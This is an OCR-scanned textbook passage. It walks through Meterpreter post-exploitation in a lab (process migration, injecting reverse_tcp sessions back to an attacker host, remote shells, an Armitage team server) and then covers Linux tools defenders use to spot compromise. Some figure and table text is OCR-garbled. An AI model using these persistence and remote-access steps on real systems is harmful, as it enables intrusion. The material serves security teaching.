Meterpreter also provides the ability to search for a file on the target with search, while files can
be uploaded and downloaded with upload and download.

Navigating the directory structure on the attacking system is done with analogous local
commands; this is useful when uploading files to the target.

meterpreter > lpwd

/root

meterpreter > lcd Desktop
meterpreter > lpwd
/root/Desktop

106



CHAPTER 2  BASIC OFFENSE

Processes

To run a new process on the target, use the execute command

meterpreter > execute -h
Usage: execute -f file [options]

Executes a command on the remote machine.

OPTIONS:
-H Create the process hidden from view.
-a <opt> The arguments to pass to the command.
-C Channelized I/0 (required for interaction).

-d <opt> The 'dummy' executable to launch when using -m.
-f <opt> The executable command to run.

-h Help menu.

-i Interact with the process after creating it.

-k Execute process on the meterpreters current desktop

-m Execute from memory.

-s <opt> Execute process in a given session as the session user
-t Execute process with currently impersonated thread token

The list of processes running on the remote target can be found with the command ps.

meterpreter > ps
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Native Windows Meterpreter does not usually run as its own process, but rather is injected in
some other process; that PID can be found with getpid.

meterpreter > getpid
Current pid: 3788

Migrating Processes

On a Windows system running native Meterpreter, the command migrate can be used to change
the hosting process, provided the attacker has sufficient privileges to do so.

meterpreter > migrate 448

[*] Migrating from 3788 to 448...

[-] Error running command migrate: Rex::RuntimeError Cannot migrate into this
process (insufficient privileges)

A careful look at the response Metasploit provided when the MS13-055 CAnchorElement
attack was launched (see the “Attack: MS13-055 CAnchorElement” section earlier in this chapter)
shows the following

msf exploit(ms13_055_ canchor) >

] Using URL: http://0.0.0.0:8080/bob

] Local IP: http://172.16.30.3:8080/bob
*] Server started.

] 172.16.30.12 ms13_055 canchor - Using JRE ROP

] 172.16.30.12 ms13_055_canchor - Sending exploit...
*] https://172.16.30.3:443 handling request from 172.16.30.12; (UUID: x5wgrq5l)
Staging x86 payload (958531 bytes) ..

[*] Meterpreter session 1 opened (172.16.30.3:443 -> 172.16.30.12:49202) at
2017-02-12 18:01:00 -0500

[*] Session ID 1 (172.16.30.3:443 -> 172.16.30.12:49202) processing
InitialAutoRunScript 'migrate -f'

[!] Meterpreter scripts are deprecated. Try post/windows/manage/migrate.
[!] Example: run post/windows/manage/migrate OPTION=value [...]

Because this is an older Metasploit module, it still includes an InitialAutoRunScript; this
is a script that is meant to run immediately after the shell starts. In this case, the desired script is
'migrate -f', butasisshown, these have been deprecated.

When this exploit was launched, it spawned a Meterpreter shell running within the Internet
Explorer process. However, if Internet Explorer is killed, the corresponding Meterpreter shell will
also be killed. (This same problem occurs for some Firefox, Adobe Flash Player, and Java exploits.)
Moreover, a user that sees an unresponsive or crashed browser window is likely to restart the
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browser, thus killing the Meterpreter shell. One solution is to quickly migrate to a different
process; this is the purpose of the now deprecated InitialAutoRunScript.

Another option besides the migrate command is the module post/windows/manage/
migrate. To use the module, load it as if it were an exploit module.

msf exploit(java_jrei7 provider skeleton) > use post/windows/manage/migrate
msf post(migrate) > info

Name: Windows Manage Process Migration
Module: post/windows/manage/migrate
Platform: Windows
Arch:
Rank: Normal

... Output Deleted ...

Basic options:

Name Current Setting Required Description

KILL false no Kill original process for the session.

NAME no Name of process to migrate to.

PID no PID of process to migrate to.

SESSION yes The session to run this module on.

SPAWN true no Spawn process to migrate to. If name
for process not given notepad.exe is
used.

Description:

This module will migrate a Meterpreter session from one process to
another. A given process PID to migrate to or the module can spawn
one and migrate to that newly spawned process.

To run the module, select a session, and then launch the exploit.

msf post(migrate) > set session 1
session => 1
msf post(migrate) > exploit

Running module against CORADINI

[*]

[*] Current server process: windows https 8443.exe (3788)
[*] Spawning notepad.exe process to migrate to

[+] Migrating to 3056

[+] Successfully migrated to process 3056

[*]

Post module execution completed
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A check of the sessions after the migration shows that the session remains; however,
interacting with that session and running the ps command shows that Meterpreter is now in a
different process.

msf post(migrate) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ps

Process List

PID PPID Name Arch Session User Path

0 0 [System Process]
4 0 System

... Output Deleted ...

3056 3788 notepad.exe x64 1 PLUTO\jhaydn
C:\Windows\System32\notepad.exe
3232 660 ShellExperienceHost.exe x64 1 PLUTO\ jhaydn

C:\Windows\SystemApps\ShellExperienceHost_cw5nih2txyewy\ShellExperienceHost.exe
... Output Deleted ...

meterpreter > getpid
Current pid: 3056

Creating Additional Sessions

If the process containing Meterpreter is killed, either deliberately by the defender or accidentally,
the attacker loses access. One way an attacker can reduce this risk is to create additional sessions.
This can be done with the module post/windows/manage/multi_meterpreter_ inject.

msf post(migrate) > use post/windows/manage/multi_meterpreter_inject
msf post(multi_meterpreter inject) > info

Name: Windows Manage Inject in Memory Multiple Payloads
Module: post/windows/manage/multi meterpreter inject
Platform: Windows
Arch:
Rank: Normal
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... Output Deleted ...

Basic options:

Name Current Setting Required Description

AMOUNT 1 no Select the amount of shells you
want to spawn.

HANDLER false no Start new exploit/multi/handler
job on local box.

IPLIST 10.0.2.2 yes List of semicolon separated IP
list.

LPORT 4444 no Port number for the payload LPORT
variable.

PAYLOAD windows/meterpreter no Payload to inject in to process

/reverse_tcp memory

PIDLIST no List of semicolon separated PID
list.

SESSION yes The session to run this module
on.

Description:

This module will inject in to several processes a given payload and
connecting to a given list of IP Addresses. The module works with a
given lists of IP Addresses and process PIDs if no PID is given it
will start a the given process in the advanced options and inject
the selected payload in to the memory of the created module.

The attacker can use this to create additional sessions on a compromised host.

msf post(multi_meterpreter inject) > set handler true

handler => true

msf post(multi meterpreter inject) > set session 1

session => 1

msf post(multi meterpreter inject) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse tcp

msf post(multi_meterpreter inject) > exploit

[*] Running module against CORADINI

[*] Starting connection handler at port 4444 for windows/x64/meterpreter/reverse tcp
[+] exploit/multi/handler started!

[*] Creating a reverse meterpreter stager: LHOST=10.0.2.2 LPORT=4444

[+] Starting Notepad.exe to house Meterpreter Session.

[+] Process created with pid 232
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*] Injecting meterpreter into process ID 232

]

*] Allocated memory at address 0x285053e0000, for 449 byte stager
] Writing the stager into memory...

+] Successfully injected Meterpreter in to process: 232

[
[
[*
[
[*] Meterpreter session 3 opened (10.0.2.2:4444 -> 10.0.15.203:56875) at
2017-04-28 20:46:07 -0400

[*] Post module execution completed
msf post(multi meterpreter inject) > sessions -1

Active sessions

Id Type Information Connection

1  meterpreter x64/windows  PLUTO\jhaydn @ CORADINI 10.0.2.2:8443 ->
10.0.15.203:56855 (10.0.15.203)

2 meterpreter java/windows hberlioz @ harrington 10.0.2.2:443 ->
10.0.15.208:60321 (10.0.15.208)

3 meterpreter x64/windows  PLUTO\jhaydn @ CORADINI 10.0.2.2:4444 ->
10.0.15.203:56875 (10.0.15.203)

Now the attacker has a second session on the compromised host Coradini. Note that the
architecture of the new payload (64-bit) matched the architecture of the original session.

Target Architecture

There are different versions of Meterpreter for Windows; there is a 32-bit version that runs on 32-
bit and 64-bit systems as well as a 64-bit version that runs only on 64-bit systems. Some exploits
on 64-bit systems require a 64-bit Meterpreter. To change the Meterpreter version to match the
architecture, an attacker can use the Metasploit module post/windows/manage/archmigrate.

Channels
The attacker can use the shell command to open a command prompt on the target.

meterpreter > shell

Process 5168 created.

Channel 1 created.

Microsoft Windows [Version 10.0.14393]

(c) 2016 Microsoft Corporation. All rights reserved.
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C:\Users\jhaydn\Desktop>dir

dir

Volume in drive C has no label.
Volume Serial Number is 12AD-BB43

Directory of C:\Users\jhaydn\Desktop

04/23/2017 05:07 PM <DIR>
04/23/2017 05:07 PM <DIR>

04/18/2017 05:14 PM 366,512 eric.exe

03/19/2017 08:01 PM <DIR> Tools

04/18/2017 08:09 PM 1,040,528 vs_Community.exe

04/23/2017 04:58 PM 7,168 windows_https 8443.exe
2 File(s) 1,407,040 bytes

3 Dir(s) 10,616,836,096 bytes free
C:\Users\Stefan Banach\Desktop>*Z
Background channel 1? [y/N] y
meterpreter >

This creates a channel within the Meterpreter session. To leave the channel and return to
Meterpreter, press CTRL+Z. The various channels in a Meterpreter session are controlled by the
channel command.

meterpreter > channel
Usage: channel [options]

Displays information about active channels.
OPTIONS:

-c <opt> Close the given channel.

-h Help menu.

-i <opt> Interact with the given channel.
-k <opt> Close the given channel.

-1 List active channels.

-r <opt> Read from the given channel.

-w <opt> MWrite to the given channel.

meterpreter > channel -1

Id Class Type

1 3 stdapi process
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Executing Commands in Multiple Sessions

It is possible to execute commands on multiple hosts through the -C option to the sessions
command. As an example, here are the results from running sysinfo on two different sessions
with the same command.

msf post(migrate) > sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (10.0.15.203)

Computer : CORADINI

0S : Windows 10 (Build 14393).

Architecture : x64

System Language : en_US

Domain : PLUTO

Logged On Users : 4

Meterpreter : x64/windows

[*] Running 'sysinfo' on meterpreter session 2 (10.0.15.208)
Computer : harrington

0S : Windows 8 6.2 (x86)

Meterpreter : java/windows

Armitage

Armitage provides both a graphical user interface and a collaboration environment for
Metasploit. Developed by Raphael Mudge, Armitage is the baby brother of the commercial
product Cobalt Strike (http://www.advancedpentest.com/).

Start Armitage from the command line with the command armitage. It makes use of the
Metasploit database, which needs to have been configured already (see the “Configuring the
Metasploit Internal Database” section earlier in this chapter). When Armitage first starts, it asks
the user how to connect; retain the defaults (Figure 2-5). During the start process, Armitage asks
the user if it should start Metasploit’s RPC server; answer yes.
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Connect... ]
Host 127.0.0.1
Port 55553
User msf
Pass i
Connect | | Help |

Figure 2-5. Connecting to Armitage

Once Armitage is running, Metasploit exploits can be selected from a menu. Double-click on
an exploit to bring up a menu to set the options; once the options have been set, press the launch
button to start the exploit.

Systems known to Armitage are listed in the graphical interface; if the operating system
is known, then an appropriate icon will be displayed. Systems on which a session has been
established will have icons that feature the lightning bolts of joy (Figure 2-6).

[ armitage-Armitag

dobe_flash_hacking_team ust
dobe_Mash_nolymoser_bof
[ adobe_flash_net_connection_confu

[ 2dobe_flash_opaque_tackground §
[ adobe_flash_pocsl_b bal

[ adobe_flash_shader_drawing_fil
[ sdebe_flash_shader job_cverfiow 16 i o
_ash_uncompress_hb_uaf ARINE - ! FARINELLA

efon_sv_plugin
whon_tostring_conscle_irfection
wbon webid]_injsction

[} firatow »pi_beatstroppad_agden
[} tms_overflow

[censale x| mukibrowsericstor_fis_sriviege_escalation X [Meterpretend ]
BEteroreter = sysinfo

I
Computer 1 FARINELLA r
05 : Windows 10 (Build 102400,
Architecture  : x8h
System Language : en_US
Domain 1 WORKGROUP
Logged On Users : 2
Reterpreter : 86 /fwindows

b

meterpreter =

Figure 2-6. Armitage in use
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Armitage can function as a team server, allowing multiple attackers from multiple systems
to collaborate. When run without arguments, the teamserver program provides a description of
how the tool works.

root@kali-2016-2-u:~# teamserver
[*] You must provide: <external IP address> <team password>
<external IP address> must be reachable by Armitage
clients on port 55553
<team password> is a shared password your team uses to
authenticate to the Armitage team server

Start the Armitage team server by specifying an external IP address and a team password.

root@kali-2016-2-u:~# teamserver 10.0.2.2 passwordi!
[*] Generating X509 certificate and keystore (for SSL)
[*] Starting RPC daemon
[*] MSGRPC starting on 127.0.0.1:55554 (NO SSL):Msg...
[*] MSGRPC backgrounding at 2017-02-14 22:54:47 -0500...
[*] sleeping for 20s (to let msfrpcd initialize)
[*] Starting Armitage team server
[*] Use the following connection details to connect your clients:
Host: 10.0.2.2
Port: 55553
User: msf
Pass: passwordil!

*

[*] Fingerprint (check for this string when you connect):
b5d8ae87b90cbfca823d2148b90fe5edf34bs2ee
[+] I'm ready to accept you or other clients for who they are

Each team member starts a local copy of Armitage and connects to the team server by
providing the required credentials; be sure to use the external IP address.

Each team member can perform scans; information from any scan is shared with all
members of the team. If any team member establishes a session on a target, then all members of
the team can interact with the session by right-clicking on the image of the host in the graphical
user interface.

Notes and References

If you want to learn more about the Morris worm itself, take a look at the 1989 technical report “A
Tour of the Worm” from Donn Seeley at the University of Utah. It is available at http://content.
lib.utah.edu/cdm/ref/collection/uspace/id/709
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The Washington Post has a nice 2013 retrospective on the Morris worm incident, available at
http://www.washingtonpost.com/blogs/the-switch/wp/2013/11/01/how-a-grad-student-
trying-to-build-the-first-botnet-brought-the-internet-to-its-knees/.

If you don’t already know the story of Aaron Swartz, take the time to learn more. The coverage
available at Ars Technica (https://arstechnica.com/tech-policy/2017/01/aaron-swartz-and-
me-over-a-loosely-intertwined-decade/) has been excellent. Be sure also to read the thoughts
of Lawrence Lessig at http://lessig.tumblr.com/post/40347463044/prosecutor-as-bully.

In my experience, some Metasploit modules work better than others. On many occasions,
I'have tried an exploit against a target that meets the required conditions, only to have it fail.
Sometimes I can find the reason (maybe the exploit does not work on a closed network), and
sometimes I cannot. If this happens to you, do not despair. Double-check your requirements (yes,
I have made this mistake all too often), and try it on other systems. It may be the case though that
the exploit depends on the state of either Metasploit or the target that in a way that is not met. It
happens.

If Windows Defender is enabled on the target, then some of the various exploits will fail.

The first example exploit, EternalBlue, is known to be volatile, and it has the potential to crash
the target system.

If, as suggested, you are working in a virtual security laboratory, one possible explanation
for a failed attack may be the features of the host and/or your virtualization solution. This is
particularly notable for exploits of Internet Explorer. For example, I have successfully attacked
these systems when they are running on a Windows 7 host using VMWare Workstation 11, but
the same attacks failed when the guests were copied to a Windows 10 host running VMWare
Workstation 12. Repeating the attacks on similar systems on an ESXi server are successful.

Other times there are settings in the exploit that need to be tweaked. For example, I have found
that although the MS13-037 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow
exploit does not require the Java ROP, it works much more reliably with it. Run the command
show advanced to see the option and the command set rop JRE6 to make the change. Similarly,
the exploit MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code
Execution against Windows 7 targets seems to function better when AllowPowershellPrompt is set
to true. As yet another example, on my Windows 10 testing system with VirtualBox 5.0, the exploit
Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory run against a Windows 8.1
system with Firefox 38.0.5 Adobe Flash Player 15.0.0.189 and the payload windows/meterpreter/
reverse_https reliably fails, but if the payload is changed to windows/meterpreter/reverse
tcp, the exploit reliably succeeds. The resulting shell is also limited; attempts to run the shell
command to obtain a Windows command prompt crash the session.

Metasploit ranks the effectiveness of the various modules as Excellent, Great, Good, Normal,
Average, Low, or Manual. Modules ranked as normal are considered reliable, while good or great
ranked modules include some sort of automatic targeting. Modules listed as excellent cannot
crash the target service. Modules listed as average are unreliable or difficult, while low-ranked
modules are worse. For a description of the module rankings, see https://github.com/rapid7/
metasploit-framework/wiki/exploit-ranking.
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Also keep in mind that Metasploit is under active development, and modules can and do
change.

If Firefox dies and won't restart properly, disable all add-ons, then restart Firefox; the add-ons
can then be re-enabled. The Firefox XCS Code Execution exploit abuses the AddonManager for
Firefox, and sometimes (especially on Linux systems) Firefox is unable to recover. In some cases,
Firefox is even unable to proceed beyond the Mozilla Crash Reporter to allow you to disable the
add-ons. The solution in this case is to start Firefox from the command line in safe mode:

pdirichlet@acrux ~ $ firefox -safe-mode

Disable add-ons, and restart Firefox. The add-ons can then be re-enabled.

Metasploit provides two types of reverse payloads - staged payloads and stageless payloads.
As an example, the payload described in the text, windows/meterpreter/reverse httpsis
a staged payload. In this case, there are two stages to the payload delivery. In the first step,
a small stager is sent; this takes control of the process and provides a way to download the
second, larger, stage that contains most of the functionality. However, it is possible to essentially
send the payload as a single stage; this can be done with the corresponding payload windows/
meterpreter reverse https. The full details of the differences between staged and stageless
payloads are well explained by OJ Reeves on the Rapid7 Community page at https://community.
rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads.

There is much more to Armitage than the short introduction provided by the text. For more
details, check out the Armitage manual, available at http://www.fastandeasyhacking.com/
manual.
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CHAPTER 3

Operational Awareness

Introduction

Core to successful cyber operations is the ability to maintain the integrity and availability of
computer systems and networks. The first step in this process is knowing what is occurring on
defended systems and networks. Both Windows and Linux feature tools that provide information
about running processes, system users, and network connections. Network traffic between
systems can be captured and analyzed with tools including tcpdump and Wireshark. In this
chapter, the reader will learn what live information is available to a system administrator facing a
potentially compromised system or network and will find different indicators of the attacks.

Using already-present tools to analyze the behavior of a running system provides advantages
in speed and flexibility. However, it comes with limitations; if an adversary has sufficient
privileges on the system, they can manipulate, modify, or even control the output from these tools
and mislead the defender.

Linux Tools

One of the first things an administrator wants to know are the users logged on to the system.

Determining Users Logged On to the System

Two similar commands are available to determine the users currently logged into a Linux system.

Who

One Linux command that shows the logged-on users is who; running the command on a CentOS 7.1
system as root with one user (cgauss) logged in at the console, and second user (sgermain)
connecting via SSH from spica.stars.example yields the following.

[root@girtab ~]# who

cgauss  :0 2017-02-18 17:34 (:0)
cgauss  pts/0 2017-02-18 17:34 (:0)
sgermain pts/1 2017-02-18 20:08 (spica.stars.example)
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When run with the switches -a and -H, it prints column headers, the system boot time, the
run level at system boot, the logged-in users, their logon time, and if they logged in remotely
through SSH, the IP address, or hostname of the source.

[root@girtab ~]# who -aH

NAME LINE TIME IDLE PID COMMENT EXIT
system boot 2017-02-18 17:32
run-level 5 2017-02-18 17:32

cgauss ? :0 2017-02-18 17:34 ? 3877 (:0)

cgauss  + pts/o0 2017-02-18 17:34 . 4545 (:0)

sgermain + pts/1 2017-02-18 20:08 . 5706 (spica.stars.example)
W

Another command is w; when run on the same system, it yields

[root@girtab ~]# w
20:09:51 up 49 min, 3 users, load average: 0.00, 0.01, 0.05

USER TTY FROM LOGIN® IDLE JCPU  PCPU WHAT
cgauss  :0 :0 17:34  ?xdm? 60.19s 0.06s gdm-session
cgauss  pts/0 :0 17:34 7.00s 0.05s 2.55s /usr/libexe

sgermain pts/1 spica.stars.exam 20:08 1:10 0.01s 0.01s -bash

Last

The list of recent logins can be found with the last command.

[root@girtab ~]# last

sgermain pts/1 spica.stars.exam Sat Feb 18 20:08 still logged in
sgermain pts/1 spica.stars.exam Sat Feb 18 17:34 - 17:34 (00:00)
cgauss  pts/0 :0 Sat Feb 18 17:34  still logged in
cgauss  :0 :0 Sat Feb 18 17:34 still logged in
(unknown :0 :0 Sat Feb 18 17:34 - 17:34 (00:00)

... Output Deleted ...

The data for w and who is stored in the file /var/run/utmp while the historical data for last
comes from /var/log/wtmp. Many attackers with privileged access to a system clobber one or
more of these files when trying to retain access.
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Aureport

Alook at the history of the logons to a system can be provided by the command aureport. This
tool is not included in the default installation for every distribution; for example, on Ubuntu
systems, it needs to be installed with the command

jmaxwell@siegena:~$ sudo apt-get install auditd

On an OpenSuSE system, the corresponding installation command is
menklent:~ # zypper install audit

Once installed, aureport with the flag -au provides data about authentication attempts.
[root@girtab ~]# aureport -au

Authentication Report

1. 01/14/2017 10:09:34 gdm ? :0 /usr/libexec/gdm-session-worker yes 348
2. 01/14/2017 11:09:15 gdm ? :0 /usr/libexec/gdm-session-worker yes 352

. Output Deleted ...

67. 02/18/2017 17:34:25 root ? pts/0 /usr/bin/su yes 400

68. 02/18/2017 17:34:38 sgermain 10.0.2.28 ? /usr/sbin/sshd yes 409
69. 02/18/2017 17:34:38 sgermain 10.0.2.28 ? /usr/sbin/sshd yes 410
70. 02/18/2017 17:34:38 sgermain 10.0.2.28 ssh /usr/sbin/sshd yes 413
71. 02/18/2017 20:08:41 sgermain 10.0.2.28 ? /usr/sbin/sshd yes 487
72. 02/18/2017 20:08:41 sgermain 10.0.2.28 ? /usr/sbin/sshd yes 488
73. 02/18/2017 20:08:41 sgermain 10.0.2.28 ssh /usr/sbin/sshd yes 491

O O O ©O O o

There are several useful flags to aureport; for example, to see the failed logins from the
current day, a user can run

[root@girtab ~]# aureport -au --failed --start today

Authentication Report

1. 02/18/2017 17:17:52 sgermain 10.0.2.28 ssh /usr/sbin/sshd no 456
2. 02/18/2017 17:18:03 sgermain 10.0.2.28 ssh /usr/sbin/sshd no 487
3. 02/18/2017 17:19:01 sgermain 10.0.2.28 ssh /usr/sbin/sshd no 537
4. 02/18/2017 17:19:05 sgermain 10.0.2.28 ssh /usr/sbin/sshd no 551
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Determining User Activity

Itis also important that the administrator know the activities of the users on the system.

Not all user accounts belong to humans; Linux systems use specialized system accounts for
various processes. Generally, these system accounts have user id (UID) numbers less than 500,
while user accounts corresponding to humans have UID numbers beginning with 500 or 1000,
depending on the distribution and release. To find the UID given an account name, a user can use
the id command.

[egalois@sabik ~]$ id egalois
uid=500(egalois) gid=500(egalois) groups=500(egalois)

To find the username given a UID, a user can use getent.

[egalois@sabik ~]$ getent passwd 500
egalois:x:500:500:Evariste Galois:/home/egalois:/bin/bash

History

The history command provides a list of the Bash shell commands run by the current user. Data
for the history command is stored in the file ~/.bash_history, relative to the home directory of
the user, and it can be manipulated and modified by the user (or root).

GNU Accounting Tools

The GNU accounting tools provide another way to determine the users that are or have been on the
system as well as providing information about past executed commands. On CentOS systems, it is
typically installed by default but not running, as can be verified' by running

[root@girtab ~]# systemctl status psacct
psacct.service - Kernel process accounting
Loaded: loaded (/usr/lib/systemd/system/psacct.service; disabled)

Active: inactive (dead)

Start the service and ensure that it starts on system boot with the commands

[root@girtab ~]# systemctl start psacct

[root@girtab ~]# systemctl enable psacct

In -s "/usr/lib/systemd/system/psacct.service’ '/etc/systemd/system/multi-user.
target.wants/psacct.service'

!This is using the Systemd approach to the service since the example host is a CentOS 7.1 system; on CentOS 5
and CentOS 6 systems, the corresponding SysVinit commands would be used (Table 1-1).
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OpenSuSE, Ubuntu, and Mint systems do not install the GNU accounting tools, but they
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are available with the name acct. They can be installed with zypper (OpenSuSE) or apt (Mint/
Ubuntu). Ubuntu and Mint systems start the service after subsequent reboots automatically; on

OpenSuSE, this must be enabled manually.

One of the commands provided by the GNU accounting utilities is ac, which shows the

amount of time users have spent connected to the system. The -d flag separates the data by date,

and the -p by person, so to determine connect time by person by day run.

[root@girtab ~]# ac -dp

Jan 14

Jan 15

Feb 4

Feb 18

Today

These numbers depend on timing made by the system. If the system is virtualized, and
the system is, for example, reverted from a snapshot, then these values may be misleading or

(unknown)
total
(unknown)
cgauss
total
(unknown)
cgauss
total
sgermain
(unknown)
cgauss
total
(unknown)
cgauss
total

confusing.

GNU accounting tools track the last time a command was run. Running lastcomm with a

0.08

36.38

8.11

0.06

0.08

0.06
36.32

1.05

0.03
0.04

command name like 1s shows who ran that command and when.

[root@girtab ~]# lastcomm ls

1s
1s
1s
1s

root pts/0
cgauss  pts/0
root
root

... Output Deleted ...

0.00 secs
0.00 secs
0.00 secs
0.00 secs

Sat Feb 18 20:55
Sat Feb 18 20:55
Sat Feb 18 20:53
Sat Feb 18 20:53

When run with a username, like sgermain, lastcomm shows the commands run by that user.
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[root@girtab ~]# lastcomm sgermain

gedit sgermain pts/1 0.00 secs Sat Feb 18 21:15
dbus-launch sgermain pts/1 0.00 secs Sat Feb 18 21:15
bash F sgermain pts/1 0.00 secs Sat Feb 18 21:15
bash F sgermain pts/1 0.00 secs Sat Feb 18 21:15

... Output Deleted ...

Determining the State of the System

Sometimes the administrator wants to know the current state of the system, including determining
which processes are running or which network connections have been made.

Top

The top command provides a real-time list of processes running on the system; here is a
representative result on a quiet system.

top - 21:16:39 up 23 min, 3 users, load average: 0.38, 0.15, 0.14
Tasks: 161 total, 4 running, 157 sleeping, 0 stopped, 0 zombie
%Cpu(s): 2.5 us, 0.0 sy, 0.0 ni, 97.5 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 1017160 total, 97768 free, 484064 used, 435328 buff/cache

KiB Swap: 1679356 total, 1679356 free, 0 used. 365424 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3078 cgauss 20 0 1575340 222172 39496 S 1.5 21.8 0:19.85 gnome-sh

1889 root 20 0 236424 53564 7852 R 0.5 5.3 0:04.91 Xorg

1 root 20 0 59596 6960 3964 S 0.0 0.7 0:01.04 systemd

2 root 20 0 0 0 0S 0.0 0.0 0:00.00 kthreadd
3 root 20 0 0 0 0S 0.0 0.0 0:00.00 ksoftirq
5 root 0 -20 0 0 0S 0.0 0.0 0:00.00 kworker/
6 root 20 0 0 0 0S 0.0 0.0 0:00.03 kworker/
7 root rt o 0 0 0S 0.0 0.0 0:00.00 migratio
8 root 20 O 0 0 0S 0.0 0.0 0:00.00 rcu_bh

9 root 20 O 0 0 0S 0.0 0.0 0:00.00 rcuob/0
10 root 20 O 0 0 0S 0.0 0.0 0:00.50 rcu_sche
11 root 20 O 0 0 0OR 0.0 0.0 0:00.25 rcuos/0
12 root it o 0 0 0S 0.0 0.0 0:00.00 watchdog
13 root 0 -20 0 0 0S 0.0 0.0 0:00.00 khelper

The processes are listed in order, with the processes using the most CPU listed at the top.
When a system is slow or sluggish due to a heavy load, this is the place to start diagnosing the
problem.
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Ps

The ps command is used to determine the processes running on a system. This tool comes with a
wide range of flags to customize the output. To see the processes currently running sorted by PID,
as root run ps with the flags aux.

[root@girtab ~]# ps aux

USER PID %CPU %MEM VSZ  RSS TTY STAT START  TIME COMMAND
root 1 0.0 0.6 59596 6960 ? Ss  20:52 0:01 /usr/lib/s
root 2 0.0 0.0 0 0? S 20:52  0:00 [kthreadd]
root 3 0.0 0.0 0 0? S 20:52  0:00 [ksoftirqd
root 5 0.0 0.0 0 0 ? S<  20:52 0:00 [kworker/o0
root 6 0.0 0.0 0 0? S 20:52  0:00 [kworker/u
root 7 0.0 0.0 0 0? S 20:52  0:00 [migration
root 8 0.0 0.0 0 0 ? S 20:52  0:00 [rcu bh]
root 9 0.0 0.0 0 0? S 20:52  0:00 [rcuob/0]
root 10 0.0 0.0 0 0? S 20:52  0:00 [rcu_sched

... Output Deleted...

When run with the flag --forest, the command ps returns the process structure, showing
which process spawned another.

[root@girtab ~]# ps ax --forest

PID TTY STAT  TIME COMMAND
2? S 0:00 [kthreadd]
3°? S 0:00 \_ [ksoftirqd/o0]

... Output Deleted ...

4048 ? Sl 0:02 /usr/libexec/gnome-terminal-server
4051 ? S 0:00 \_ gnome-pty-helper

4052 pts/0 Ss 0:00 \_ bash

4088 pts/0 S 0:00 \_su -

4095 pts/0 S 0:00 \_ -bash

4485 pts/0 R+ 0:00 \_ ps ax --forest

Netstat

One command to determine what ports are open on a Linux is netstat. Linux and Unix
systems have two kinds of ports - network ports and Unix sockets. Unix sockets are used for
communication by different processes on the same system, so in general we are uninterested in
those; however, both sorts of ports are reported by netstat.
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The netstat tool has several useful flags, including:
e -vBeverbose
e -nUse numeric values for ports, rather than names
e -A inet (or -inet) Show only IPv4 connections
e -A inet6 (or -inet6) Show only IPv6 connections
e -XxShow only Unix sockets
e -t Show only TCP (v4/v6)
e -uShow only UDP (v4/v6)
e -p Show the PID for that connection
e -1Show listening sockets (not shown by default)
e -aShow listening and open sockets
e -1 Show routing table

To find out what is listening on the system, a good set of flags is

[root@girtab ~]# netstat -nlpv --inet
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State  PID/Program name

tcp 0 0 0.0.0.0:22 0.0.0.0:% LISTEN 1360/sshd

tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 3083/cupsd

tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 2515/master

tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN 4254/sshd: sgerm
udp 0 0 0.0.0.0:123 0.0.0.0:* 626/chronyd

udp 0 0 0.0.0.0:5353 0.0.0.0:* 631/avahi-daemon
udp 0 0 0.0.0.0:44830 0.0.0.0:% 631/avahi-daemon
udp 0 0 127.0.0.1:323 0.0.0.0:* 626/chronyd

This provides a verbose list listening TCP and UDP ports in numerical form along with the
PID of the process that opened the port.

Lsof

The tool 1sof can be used to determine what resources are being used and by which process.
Resources include network sockets but can also include devices like a USB drive or files. For
example, the current or listening IPv4 connections can be shown with
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[root@girtab ~]# lsof -i4

COMMAND  PID USER
chronyd 626  chrony
chronyd 626  chrony
avahi-dae 631  avahi
avahi-dae 631  avahi
sshd 1360 root
master 2515 root
cupsd 3083 root
sshd 4250 root
sshd 4254 sgermain
sshd 4254 sgermain

FD
1u
3u

12u

13u
3u
13u
12u
3u

3u

10u
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TYPE DEVICE SIZE/OFF NODE NAME

IPv4 14305 oto UDP *:ntp

IPv4 14307 0to UDP localhost:323

IPv4 15901 oto UDP *:mdns

IPv4 15902 0to UDP *:44830

IPv4 19379 0to TCP *:ssh (LISTEN)

IPv4 20615 0to TCP localhost:smtp (LISTEN)

IPv4 24990 oto TCP localhost:ipp (LISTEN)

IPv4 33805 0to TCP Girtab.stars.example:ssh->Spica.
stars.example:38411 (ESTABLISHED)

IPv4 33805 0to TCP Girtab.stars.example:ssh->Spica.
stars.example:38411 (ESTABLISHED)

IPv4 33983 0t0 TCP localhost:x11-ssh-offset (LISTEN)

In addition to the listening ports, this shows an active SSH connection from girtab.stars.

example.

To determine the resources used by a selected PID, specify the PID with the -p flag. For

example, the previous shows an SSH connection for sgermain using PID 4254; to examine this

process, the administrator runs the following.

[root@girtab ~]# lsof -p 4254
Isof: WARNING: can't stat() fuse.gvfsd-fuse file system /run/user/1000/gvfs
Output information may be incomplete.

COMMAND
sshd
sshd
sshd
sshd

... Output Deleted ...

sshd
sshd
sshd
sshd
sshd
sshd

... Output Deleted ...

PID USER
4254 sgermain
4254 sgermain
4254 sgermain
4254 sgermain

4254 sgermain
4254 sgermain
4254 sgermain
4254 sgermain
4254 sgermain
4254 sgermain

FD  TYPE
cwd DIR
rtd DIR
txt REG
DEL REG
mem REG
DEL REG

ou CHR
u  CHR
2u  CHR
3u IPv4

DEVICE SIZE/OFF NODE NAME

253,1 4096 128 /

253,1 4096 128 /

253,1 815432 38281903 /usr/sbin/sshd

0,4 33868 /dev/zero

253,1 164336 33887955 /usr/1ib64/1d-2.17.s0
0,4 33829 /dev/zero

1,3 oto 4558 /dev/null

1,3 oto 4558 /dev/null

1,3 oto 4558 /dev/null

33805 oto TCP Girtab.stars.example:ssh->Spica.

stars.example:38411 (ESTABLISHED)

129



CHAPTER 3  OPERATIONAL AWARENESS

To determine the resources used by a user, instead specify the user name with the -u flag.

[root@girtab ~]# lsof -u sgermain
